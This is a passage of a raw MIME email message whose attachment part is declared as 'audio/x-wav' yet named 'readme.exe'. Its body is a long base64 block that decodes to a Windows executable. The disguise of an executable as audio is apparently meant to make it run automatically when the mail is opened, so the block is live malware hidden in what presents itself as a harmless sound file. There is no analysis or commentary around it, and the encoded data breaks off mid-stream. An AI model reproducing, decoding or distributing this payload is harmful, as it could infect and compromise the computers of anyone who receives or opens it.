--====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAAM/dCAQAAAB/UEUAAEwBBQB1Oqc7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAALN0AAAAEAAAAIAAAAAAFzYAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQA4CgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAFZlAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAKEcAAACQAAAAIAAAAJAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAAAAAAAAAAAAAAAAAABAAABALnJl bG9jAABGCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 